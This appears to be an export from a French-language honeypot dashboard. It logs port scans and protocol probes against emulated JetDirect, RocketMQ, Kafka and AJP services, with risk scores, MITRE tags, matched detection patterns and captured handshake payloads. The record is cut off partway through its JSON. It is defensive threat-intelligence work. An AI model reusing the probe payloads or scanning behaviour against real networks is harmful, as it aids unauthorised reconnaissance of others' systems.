"ban_policy": "advisory_monitor",
"tags_list": [
"dubbo_emulated",
"dubbo_payload",
"net_dubbo_probe"
]
}
|
|
|
TCP |
9100 · JETDIRECT
|
jetdirect
|
Scan de ports
port scan syn · via JETDIRECT:9100 · (reconnaissance)
|
Faible
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
Émulateur
JETDIRECT
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
9100
Chemin / cible
—
Service
JETDIRECT
Payload
n I�AAAAAA@AAAAAAA
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +14
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
n I�AAAAAA@AAAAAAA
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "32323020686f6e6579706f74206a657464697265637420726561647920706f72743d393130300d0a",
"emulator_response_len": 40,
"bytes_in": 23,
"payload_entropy": 2.2252748326658103,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "jetdirect",
"app_proto": "jetdirect",
"asn": 8452,
"country": "EG",
"dst_port": 9100,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 22,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 2.7,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "4795e0086a35811ce41b66e6c41b383affce2a72",
"event_fingerprint": "eb0afc337169eaa4b8e375f85f6d9c688c816a7c",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0554"
],
"matched_pattern_names": [
"Minecraft varint handshake"
],
"pattern_ids": [
"pat-0554"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"named_classification_skipped": false,
"service_name": "jetdirect",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9acc24a72b672156916a7877f92e70de",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 9100,
"service": "jetdirect",
"service_name": "jetdirect",
"risk_score": 42
},
"payload_preview": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"request_sample": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"payload_snippet": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"evidence": {
"request_sample": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"payload_snippet": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "74e897d2679c744533553281dfa2a4836e4ff458",
"protocol_details": {
"payload_preview": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"port": 9100,
"service": "jetdirect",
"service_label_fr": "JETDIRECT"
},
"evidence_snippet": "nI\ufffdAAAAAA@AAAAAAA",
"attack_vector": "port scan syn \u00b7 via JETDIRECT:9100 \u00b7 (reconnaissance)",
"target_port_label": "9100 \u00b7 JETDIRECT",
"emulator_service": "jetdirect",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via JETDIRECT \u2014 multi-protocole (9 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "jetdirect",
"service_label_fr": "JETDIRECT",
"dst_port": 9100,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-jetdirect",
"correlation_flags": [
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +14",
"protocol_details": {
"payload_preview": "\u0000\u0015n\u0000\u0005\u0000\u0007I\ufffdAAAAAA@AAAAAAA",
"port": 9100,
"service": "jetdirect",
"service_label_fr": "JETDIRECT"
},
"attack_vector": "port scan syn \u00b7 via JETDIRECT:9100 \u00b7 (reconnaissance)",
"evidence_snippet": "nI\ufffdAAAAAA@AAAAAAA",
"target_port_label": "9100 \u00b7 JETDIRECT",
"emulator_service": "jetdirect",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "jetdirect",
"service_banner": "honeypot-jetdirect",
"service_os": "linux",
"dst_port": "9100"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 5,
"port_scan_ports_sample": [
8009,
9042,
9092,
9100,
10911
],
"multi_protocol_correlation": true,
"multi_protocol_count": 9,
"multi_protocol_sample": [
"ajp",
"cassandra",
"http",
"jetdirect",
"kafka",
"port:10911",
"port:4712",
"redis"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 14,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
10911
|
—
|
Scan de ports
port scan syn · port 10911 · (reconnaissance)
|
Faible
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
10911
Chemin / cible
—
Payload
� ~{"code":105,"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":441,"extFields":{"topic":"T
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +14
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
� ~{"code":105,"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":441,"extFields":{"topic":"T
Requête brute (extrait)
� ~{"code":105,"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":441,"extFields":{"topic":"TEST"}}
Meta JSON brut
{
"bytes_in": 134,
"payload_entropy": 4.889934656623971,
"port_category": "registered",
"org": "IDDQD-AS",
"service": null,
"app_proto": null,
"asn": 8452,
"country": "EG",
"dst_port": 10911,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 15
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "1590fca6e6bb68c88e99b84ae065a006d1c5929c",
"event_fingerprint": "68e4f7700ddebb32737f0fc3a953b815a1942a43",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0554"
],
"matched_pattern_names": [
"Minecraft varint handshake"
],
"pattern_ids": [
"pat-0554"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 15,
"risk_score": 42,
"correlation_boost": 14
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "101875b58a569cf2a197df1a250f0f0f",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 10911,
"risk_score": 42
},
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"request_sample": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"TEST\"}}",
"payload_snippet": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"evidence": {
"request_sample": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"TEST\"}}",
"payload_snippet": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b4f032e3d986ead1af050a12b70151a745ea1ab6",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"port": 10911
},
"evidence_snippet": "\ufffd~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"attack_vector": "port scan syn \u00b7 port 10911 \u00b7 (reconnaissance)",
"target_port_label": "10911",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (8 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 15,
"risk_score": 42,
"correlation_boost": 14
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 10911,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +14",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"port": 10911
},
"attack_vector": "port scan syn \u00b7 port 10911 \u00b7 (reconnaissance)",
"evidence_snippet": "\ufffd~{\"code\":105,\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":441,\"extFields\":{\"topic\":\"T",
"target_port_label": "10911",
"emulator_service": null,
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "10911"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 4,
"port_scan_ports_sample": [
8009,
9042,
9092,
10911
],
"multi_protocol_correlation": true,
"multi_protocol_count": 8,
"multi_protocol_sample": [
"ajp",
"cassandra",
"http",
"kafka",
"port:10911",
"port:4712",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 14,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
9092 · KAFKA
|
kafka
|
Scan de ports
port scan syn · via KAFKA:9092 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
Protocole
Émulateur
KAFKA
WAF
—
Recommandation
Surveiller
Tags
kafka_api_versions
kafka_emulated
net_kafka_probe
postgres_startup
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
9092
Chemin / cible
—
Service
KAFKA
Payload
kafka-python-2.0.2
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance 100 % — 5 signal(aux) capteur
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
RDP TPKT header
Kafka ApiVersions key
ET H.323 setup
NFS RPC mount
Mumble ping
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
kafka-python-2.0.2
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "0000000c0003000000000001000b0000",
"emulator_response_len": 16,
"bytes_in": 36,
"payload_entropy": 3.41150919841991,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "kafka",
"app_proto": "kafka",
"asn": 8452,
"country": "EG",
"dst_port": 9092,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 10,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 10
},
"risk_score": 42,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "41d8ae353dc0ead9c87c010b9016966ba92af7c5",
"event_fingerprint": "c474d9c3f8c0776c7c96d4f25d2b0651552d8fad",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0348",
"pat-0556",
"pat-0868",
"pat-0532",
"pat-0768",
"pat-0554"
],
"matched_pattern_names": [
"RDP TPKT header",
"Kafka ApiVersions key",
"ET H.323 setup",
"NFS RPC mount",
"Mumble ping",
"Minecraft varint handshake"
],
"pattern_ids": [
"pat-0348",
"pat-0556",
"pat-0868",
"pat-0532",
"pat-0768",
"pat-0554"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 10,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "kafka",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "d5cc10956708cd0a81157ab259ef306b",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 9092,
"service": "kafka",
"service_name": "kafka",
"risk_score": 42
},
"payload_preview": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"request_sample": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"payload_snippet": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"payload_snippet": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9f1b289cdeb3346c705b00b00780189985537695",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"port": 9092,
"service": "kafka",
"service_label_fr": "KAFKA"
},
"evidence_snippet": "kafka-python-2.0.2",
"attack_vector": "port scan syn \u00b7 via KAFKA:9092 \u00b7 (reconnaissance)",
"target_port_label": "9092 \u00b7 KAFKA",
"emulator_service": "kafka",
"confidence_reason": "Confiance 100 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via KAFKA \u2014 multi-protocole (8 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 10,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "kafka",
"service_label_fr": "KAFKA",
"dst_port": 9092,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-kafka",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0000\u0000\u0000 \u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0012kafka-python-2.0.2\u0000\u0000\u0000\u0000",
"port": 9092,
"service": "kafka",
"service_label_fr": "KAFKA"
},
"attack_vector": "port scan syn \u00b7 via KAFKA:9092 \u00b7 (reconnaissance)",
"evidence_snippet": "kafka-python-2.0.2",
"target_port_label": "9092 \u00b7 KAFKA",
"emulator_service": "kafka",
"confidence_reason": "Confiance 100 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "kafka",
"service_banner": "honeypot-kafka",
"service_os": "linux",
"dst_port": "9092"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 8,
"multi_protocol_sample": [
"ajp",
"cassandra",
"http",
"kafka",
"port:10911",
"port:4712",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"kafka_api_versions",
"kafka_emulated",
"net_kafka_probe",
"postgres_startup",
"postgresql_probe"
]
}
|
|
|
TCP |
8009 · AJP
|
ajp
|
Protocole TDS MSSQL
mssql tds · via AJP:8009 · (sonde / probe)
|
Élevée
|
Faible · 32
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
AJP
WAF
—
Recommandation
Surveiller
Tags
mssql_tds
net_mssql_tds
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
8009
Chemin / cible
—
Pourquoi cette classification : Type « mssql_tds » (signaux protocolaires) · confiance 50%
Confiance classification
58%
Corrélation +8
Risque capteur
Faible
· 32
Confiance : Confiance 50 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0536
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"bytes_in": 5,
"payload_entropy": 2.321928094887362,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "ajp",
"app_proto": "ajp",
"asn": 8452,
"country": "EG",
"dst_port": 8009,
"risk_waf": 8,
"risk_classification": 56,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 2.5,
"risk_breakdown": {
"waf": 8,
"classification": 56,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 32,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "712a5cfa1c62ce0845e5970ea753857b04f8691f",
"event_fingerprint": "d5a6a2e461c1e04a4e22e37d3832e2f8e4195352",
"classification_confidence": 0.58,
"confidence": 0.58,
"precision_signals": [
"pat-0536"
],
